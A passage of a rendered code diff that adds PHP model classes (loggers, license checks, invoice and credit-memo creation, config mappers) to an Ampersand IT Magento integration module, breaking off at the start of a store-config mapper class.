|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Config_Base extends Mage_Core_Model_Config_Base
|
19 |
+
{
|
20 |
+
protected $_compoundsToAppendOnCollision = array();
|
21 |
+
|
22 |
+
public function __construct($sourceData = null)
|
23 |
+
{
|
24 |
+
parent::__construct($sourceData);
|
25 |
+
$this->_elementClass = 'Ampersand_Xml_Config';
|
26 |
+
}
|
27 |
+
|
28 |
+
public function extend(Varien_Simplexml_Config $config, $overwrite = true)
|
29 |
+
{
|
30 |
+
$this->getNode()->extend($config->getNode(), $overwrite, $this->_compoundsToAppendOnCollision);
|
31 |
+
|
32 |
+
return $this;
|
33 |
+
}
|
34 |
+
|
35 |
+
public function appendOnExtendCollision($compound, $flag = null)
|
36 |
+
{
|
37 |
+
if (is_null($flag)) {
|
38 |
+
return in_array($compound, $this->_compoundsToAppendOnCollision);
|
39 |
+
}
|
40 |
+
|
41 |
+
if ($flag) {
|
42 |
+
$this->_compoundsToAppendOnCollision[$compound] = $compound;
|
43 |
+
} else {
|
44 |
+
unset($this->_compoundsToAppendOnCollision[$compound]);
|
45 |
+
}
|
46 |
+
|
47 |
+
return $this;
|
48 |
+
}
|
49 |
+
}
|
app/code/core/Ampersand/Integration/Model/Creditmemo.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Creditmemo extends Ampersand_Integration_Model_OrderAbstract
|
19 |
+
{
|
20 |
+
public function create()
|
21 |
+
{
|
22 |
+
$creditmemoIncrementId = Mage::getModel('sales/order_creditmemo_api')->create(
|
23 |
+
$this->getOrderIncrementId(), $this->getQuantities(), $this->getComment(), true, false
|
24 |
+
);
|
25 |
+
|
26 |
+
$this->setIncrementId($creditmemoIncrementId);
|
27 |
+
|
28 |
+
return $this;
|
29 |
+
}
|
30 |
+
}
|
app/code/core/Ampersand/Integration/Model/Flag.php
ADDED
@@ -0,0 +1,79 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Flag extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/flag');
|
23 |
+
}
|
24 |
+
|
25 |
+
public function fromFlag(Ampersand_Integration_Flag_FlagInterface $flag)
|
26 |
+
{
|
27 |
+
$this->addData($flag->getData());
|
28 |
+
|
29 |
+
$this->setType($flag->getType());
|
30 |
+
$this->setPriority($flag->getPriority());
|
31 |
+
$this->setText($flag->getText());
|
32 |
+
$this->setShortText($flag->getShortText());
|
33 |
+
|
34 |
+
return $this;
|
35 |
+
}
|
36 |
+
|
37 |
+
public function setException(Exception $exception)
|
38 |
+
{
|
39 |
+
$this->setData('exception', $exception);
|
40 |
+
|
41 |
+
$this->setShortText($exception->getMessage());
|
42 |
+
$this->setText($exception->getMessage() . "\n\n" . $exception->getTraceAsString());
|
43 |
+
|
44 |
+
return $this;
|
45 |
+
}
|
46 |
+
|
47 |
+
public function getService()
|
48 |
+
{
|
49 |
+
if (!$this->hasData('service') && $this->getServiceId()) {
|
50 |
+
$service = Mage::getModel('ampersand_integration/service_info')
|
51 |
+
->load($this->getServiceId());
|
52 |
+
$this->setService($service);
|
53 |
+
}
|
54 |
+
|
55 |
+
return $this->getData('service');
|
56 |
+
}
|
57 |
+
|
58 |
+
public function getStatus()
|
59 |
+
{
|
60 |
+
if (!$this->hasData('status') && $this->hasData('status_id')) {
|
61 |
+
$status = Mage::getModel('ampersand_integration/status')
|
62 |
+
->load($this->getStatusId());
|
63 |
+
$this->setStatus($status);
|
64 |
+
}
|
65 |
+
|
66 |
+
return $this->getData('status');
|
67 |
+
}
|
68 |
+
|
69 |
+
protected function _beforeSave()
|
70 |
+
{
|
71 |
+
if (!$this->getStatusId() && $this->getStatusCode()) {
|
72 |
+
$statusId = Mage::getResourceSingleton('ampersand_integration/status')
|
73 |
+
->getIdByCode($this->getStatusCode(), $this->getServiceId());
|
74 |
+
$this->setStatusId($statusId);
|
75 |
+
}
|
76 |
+
|
77 |
+
return parent::_beforeSave();
|
78 |
+
}
|
79 |
+
}
|
app/code/core/Ampersand/Integration/Model/Invoice.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Invoice extends Ampersand_Integration_Model_OrderAbstract
|
19 |
+
{
|
20 |
+
public function create()
|
21 |
+
{
|
22 |
+
$invoiceIncrementId = Mage::getModel('sales/order_invoice_api')->create(
|
23 |
+
$this->getOrderIncrementId(), $this->getQuantities(), $this->getComment(), true, false
|
24 |
+
);
|
25 |
+
|
26 |
+
$this->setIncrementId($invoiceIncrementId);
|
27 |
+
|
28 |
+
return $this;
|
29 |
+
}
|
30 |
+
}
|
app/code/core/Ampersand/Integration/Model/License.php
ADDED
@@ -0,0 +1,89 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_License extends Varien_Object
|
19 |
+
{
|
20 |
+
public function getIsValid($time = null)
|
21 |
+
{
|
22 |
+
if (is_null($time)) {
|
23 |
+
$time = time();
|
24 |
+
}
|
25 |
+
|
26 |
+
$fromIsValid = $time > $this->getStartsAt();
|
27 |
+
$toIsValid = !$this->getExpiresAt() || $time < $this->getExpiresAt();
|
28 |
+
|
29 |
+
return $fromIsValid && $toIsValid;
|
30 |
+
}
|
31 |
+
|
32 |
+
public function getStartsAt()
|
33 |
+
{
|
34 |
+
return $this->getData('from');
|
35 |
+
}
|
36 |
+
|
37 |
+
public function getExpiresAt()
|
38 |
+
{
|
39 |
+
return $this->getData('to');
|
40 |
+
}
|
41 |
+
|
42 |
+
public function getServiceCode()
|
43 |
+
{
|
44 |
+
$messageName = $this->getMessageName(true);
|
45 |
+
|
46 |
+
if (strpos($messageName, ':')) {
|
47 |
+
$messageNameParts = explode(':', $messageName, 2);
|
48 |
+
|
49 |
+
return reset($messageNameParts);
|
50 |
+
}
|
51 |
+
|
52 |
+
return null;
|
53 |
+
}
|
54 |
+
|
55 |
+
public function getMessageName($includeServiceCode = false)
|
56 |
+
{
|
57 |
+
if (4 == count($this->getIdentifierParts())) {
|
58 |
+
$messageName = $this->getIdentifierParts(2);
|
59 |
+
} else if (6 == count($this->getIdentifierParts())) {
|
60 |
+
// [else if] includes Mage edition and integration id/store id
|
61 |
+
$messageName = $this->getIdentifierParts(4);
|
62 |
+
} else {
|
63 |
+
return null;
|
64 |
+
}
|
65 |
+
|
66 |
+
if ($includeServiceCode) {
|
67 |
+
return $messageName;
|
68 |
+
}
|
69 |
+
|
70 |
+
$messageNameParts = explode(':', $messageName, 2);
|
71 |
+
|
72 |
+
return end($messageNameParts);
|
73 |
+
}
|
74 |
+
|
75 |
+
public function getIdentifierParts($index = null)
|
76 |
+
{
|
77 |
+
$parts = explode(Ampersand_License::VALUE_SEPARATOR, $this->getData('identifier'));
|
78 |
+
|
79 |
+
if (!is_null($index)) {
|
80 |
+
if (array_key_exists($index, $parts)) {
|
81 |
+
return $parts[$index];
|
82 |
+
}
|
83 |
+
|
84 |
+
return null;
|
85 |
+
}
|
86 |
+
|
87 |
+
return $parts;
|
88 |
+
}
|
89 |
+
}
|
app/code/core/Ampersand/Integration/Model/Logger/Database.php
ADDED
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Logger_Database
|
19 |
+
extends Ampersand_Integration_Message_Logger_Abstract
|
20 |
+
{
|
21 |
+
protected function _log($dataToLog, Ampersand_Integration_Debug_DebugInterface $debug)
|
22 |
+
{
|
23 |
+
if (!is_array($dataToLog)) {
|
24 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
25 |
+
'Data to be logged is not an array'
|
26 |
+
);
|
27 |
+
}
|
28 |
+
|
29 |
+
$dataToLog = $this->_obfuscateValue($dataToLog, $debug);
|
30 |
+
|
31 |
+
$message = Mage::getModel('ampersand_integration/message')
|
32 |
+
->setData($dataToLog)
|
33 |
+
->save()
|
34 |
+
;
|
35 |
+
|
36 |
+
$debug->setMessageId($message->getId());
|
37 |
+
|
38 |
+
return $message;
|
39 |
+
}
|
40 |
+
|
41 |
+
protected function _getDataToLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
42 |
+
{
|
43 |
+
return array(
|
44 |
+
'direction' => $debug->getDirection(),
|
45 |
+
'log_file_path' => $debug->getData(
|
46 |
+
Ampersand_Integration_Model_Logger_File::FILE_PATH_DATA_KEY
|
47 |
+
),
|
48 |
+
'state' => $debug->getState(),
|
49 |
+
'service_id' => $this->_getServiceId($debug),
|
50 |
+
'identifiers' => $debug->getIdentifiers(),
|
51 |
+
'name' => $debug->getMessageName(),
|
52 |
+
'flags' => $debug->getFlags(),
|
53 |
+
);
|
54 |
+
}
|
55 |
+
|
56 |
+
protected function _getServiceId(Ampersand_Integration_Debug_DebugInterface $debug)
|
57 |
+
{
|
58 |
+
if (!$serviceCode = $debug->getServiceName()) {
|
59 |
+
return null;
|
60 |
+
}
|
61 |
+
|
62 |
+
return Mage::getSingleton('ampersand_integration/service_info')->getIdByCode($serviceCode);
|
63 |
+
}
|
64 |
+
}
|
app/code/core/Ampersand/Integration/Model/Logger/File.php
ADDED
@@ -0,0 +1,66 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Logger_File extends Ampersand_Integration_Message_Logger_XmlFile
|
19 |
+
{
|
20 |
+
const FILE_PATH_DATA_KEY = 'xml_log_file_path';
|
21 |
+
|
22 |
+
protected $_timestamp;
|
23 |
+
|
24 |
+
public function getBaseDirectoryPath()
|
25 |
+
{
|
26 |
+
return Mage::getBaseDir() . DS . 'var' . DS . 'integration';
|
27 |
+
}
|
28 |
+
|
29 |
+
public function getDirectoryPath(Ampersand_Integration_Debug_DebugInterface $debug)
|
30 |
+
{
|
31 |
+
return $debug->getDirection() . DS .
|
32 |
+
$this->_getDateString('Y') . DS .
|
33 |
+
$this->_getDateString('m') . DS .
|
34 |
+
$this->_getDateString('d');
|
35 |
+
}
|
36 |
+
|
37 |
+
public function getFilename(Ampersand_Integration_Debug_DebugInterface $debug,
|
38 |
+
$includeExtension = true
|
39 |
+
) {
|
40 |
+
if ($includeExtension && ($extension = $this->getFilenameExtension($debug))) {
|
41 |
+
$suffix = ".$extension";
|
42 |
+
} else {
|
43 |
+
$suffix = '';
|
44 |
+
}
|
45 |
+
|
46 |
+
return $this->_getDateString('His') . $suffix;
|
47 |
+
}
|
48 |
+
|
49 |
+
protected function _afterLog($fullPath, $loggedData, Ampersand_Integration_Debug_DebugInterface $debug)
|
50 |
+
{
|
51 |
+
$relativePath = str_replace($this->getBaseDirectoryPath(), '', $fullPath);
|
52 |
+
$relativePath = ltrim($relativePath, DS);
|
53 |
+
$debug->setData(self::FILE_PATH_DATA_KEY, $relativePath);
|
54 |
+
|
55 |
+
return parent::_afterLog($fullPath, $loggedData, $debug);
|
56 |
+
}
|
57 |
+
|
58 |
+
protected function _getDateString($format)
|
59 |
+
{
|
60 |
+
if (is_null($this->_timestamp)) {
|
61 |
+
$this->_timestamp = time();
|
62 |
+
}
|
63 |
+
|
64 |
+
return date($format, $this->_timestamp);
|
65 |
+
}
|
66 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mapper/ClassName.php
ADDED
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mapper_ClassName extends Ampersand_Map_Mapper_Abstract
|
19 |
+
{
|
20 |
+
protected $_validClassTypes = array(
|
21 |
+
'block',
|
22 |
+
'helper',
|
23 |
+
'model',
|
24 |
+
'resource_model',
|
25 |
+
);
|
26 |
+
|
27 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
28 |
+
{
|
29 |
+
$classType = $map->getChild('_type')->getValue();
|
30 |
+
$methodName = $this->_getMethodName($classType);
|
31 |
+
$className = $map->getChild('_class')->getValue();
|
32 |
+
|
33 |
+
return Mage::getConfig()->$methodName($className);
|
34 |
+
}
|
35 |
+
|
36 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
37 |
+
{
|
38 |
+
if (!$map->hasChild('_type')) {
|
39 |
+
throw new Ampersand_Map_Exception('Type node is missing');
|
40 |
+
}
|
41 |
+
$classType = $map->getChild('_type')->getValue();
|
42 |
+
if (!in_array($classType, $this->_validClassTypes)) {
|
43 |
+
throw new Ampersand_Map_Exception("Invalid class type '$classType'");
|
44 |
+
}
|
45 |
+
if (!$map->hasChild('_class')) {
|
46 |
+
throw new Ampersand_Map_Exception('Class node is missing');
|
47 |
+
}
|
48 |
+
|
49 |
+
return $this;
|
50 |
+
}
|
51 |
+
|
52 |
+
protected function _getMethodName($classType)
|
53 |
+
{
|
54 |
+
return 'get' . Ampersand_Object::camelize($classType) . 'ClassName';
|
55 |
+
}
|
56 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mapper/CustomFields.php
ADDED
@@ -0,0 +1,123 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mapper_CustomFields
|
19 |
+
extends Ampersand_Integration_Model_Mapper_StoreConfig
|
20 |
+
{
|
21 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
22 |
+
{
|
23 |
+
$configData = $this->_getConfigData($map, $input);
|
24 |
+
|
25 |
+
return $this->_getValues($configData, $input);
|
26 |
+
}
|
27 |
+
|
28 |
+
protected function _getConfigData(Ampersand_Map_XmlElement $map, $input)
|
29 |
+
{
|
30 |
+
$configData = parent::_map($map, $input);
|
31 |
+
|
32 |
+
if (is_string($configData)) {
|
33 |
+
$configData = unserialize($configData);
|
34 |
+
}
|
35 |
+
|
36 |
+
if (!is_array($configData)) {
|
37 |
+
return array();
|
38 |
+
}
|
39 |
+
|
40 |
+
return $configData;
|
41 |
+
}
|
42 |
+
|
43 |
+
protected function _getValues(array $fieldDatas, $input)
|
44 |
+
{
|
45 |
+
$values = array();
|
46 |
+
|
47 |
+
foreach ($fieldDatas as $_data) {
|
48 |
+
if ($_name = $this->_getName($_data)) {
|
49 |
+
$values[$_name] = $this->_getValue($_data, $input);
|
50 |
+
}
|
51 |
+
}
|
52 |
+
|
53 |
+
return $values;
|
54 |
+
}
|
55 |
+
|
56 |
+
protected function _getName(array $fieldData)
|
57 |
+
{
|
58 |
+
if (!array_key_exists('name', $fieldData)) {
|
59 |
+
return null;
|
60 |
+
}
|
61 |
+
|
62 |
+
return $fieldData['name'];
|
63 |
+
}
|
64 |
+
|
65 |
+
protected function _getValue(array $fieldData, $input)
|
66 |
+
{
|
67 |
+
if ('accessor' == $fieldData['type']) {
|
68 |
+
return $this->_getAccessorValue($input, $fieldData['method']);
|
69 |
+
}
|
70 |
+
|
71 |
+
if (null === ($callback = $this->_getCustomFieldCallback($fieldData))) {
|
72 |
+
return null;
|
73 |
+
}
|
74 |
+
|
75 |
+
return call_user_func($callback, $input);
|
76 |
+
}
|
77 |
+
|
78 |
+
protected function _getAccessorValue($input, $field)
|
79 |
+
{
|
80 |
+
return $input->getDataUsingMethod($field);
|
81 |
+
}
|
82 |
+
|
83 |
+
protected function _getCustomFieldCallback(array $fieldData)
|
84 |
+
{
|
85 |
+
if ($this->_getIsPreset($fieldData)) {
|
86 |
+
$parts = explode('::', $fieldData['type']);
|
87 |
+
|
88 |
+
$type = $parts[0];
|
89 |
+
$class = $parts[1];
|
90 |
+
$method = $parts[2];
|
91 |
+
} else {
|
92 |
+
$type = substr($fieldData['type'], 7);
|
93 |
+
$class = $fieldData['class'];
|
94 |
+
$method = $fieldData['method'];
|
95 |
+
}
|
96 |
+
|
97 |
+
if (!$class || !$method) {
|
98 |
+
return null;
|
99 |
+
}
|
100 |
+
|
101 |
+
switch ($type) {
|
102 |
+
case 'helper':
|
103 |
+
$object = Mage::helper($class);
|
104 |
+
break;
|
105 |
+
case 'model':
|
106 |
+
$object = Mage::getModel($class);
|
107 |
+
break;
|
108 |
+
case 'singleton':
|
109 |
+
$object = Mage::getSingleton($class);
|
110 |
+
break;
|
111 |
+
default:
|
112 |
+
$object = new $class;
|
113 |
+
break;
|
114 |
+
}
|
115 |
+
|
116 |
+
return array($object, $method);
|
117 |
+
}
|
118 |
+
|
119 |
+
protected function _getIsPreset(array $fieldData)
|
120 |
+
{
|
121 |
+
return ('custom/' != substr($fieldData['type'], 0, 7));
|
122 |
+
}
|
123 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mapper/Helper.php
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mapper_Helper extends Ampersand_Map_Mapper_Method
|
19 |
+
{
|
20 |
+
protected function _validate(Ampersand_Map_XmlElement $map, $input)
|
21 |
+
{
|
22 |
+
if (!$map->hasChild('_helper')) {
|
23 |
+
throw new Ampersand_Map_Exception('Helper node is missing');
|
24 |
+
}
|
25 |
+
if (!$map->hasChild('_method')) {
|
26 |
+
throw new Ampersand_Map_Exception('Method node is missing');
|
27 |
+
}
|
28 |
+
|
29 |
+
return $this;
|
30 |
+
}
|
31 |
+
|
32 |
+
protected function _getSubject(Ampersand_Map_XmlElement $map, $input)
|
33 |
+
{
|
34 |
+
return Mage::helper($map->getChild('_helper')->getValue());
|
35 |
+
}
|
36 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mapper/StoreConfig.php
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mapper_StoreConfig extends Ampersand_Map_Mapper_Method
|
19 |
+
{
|
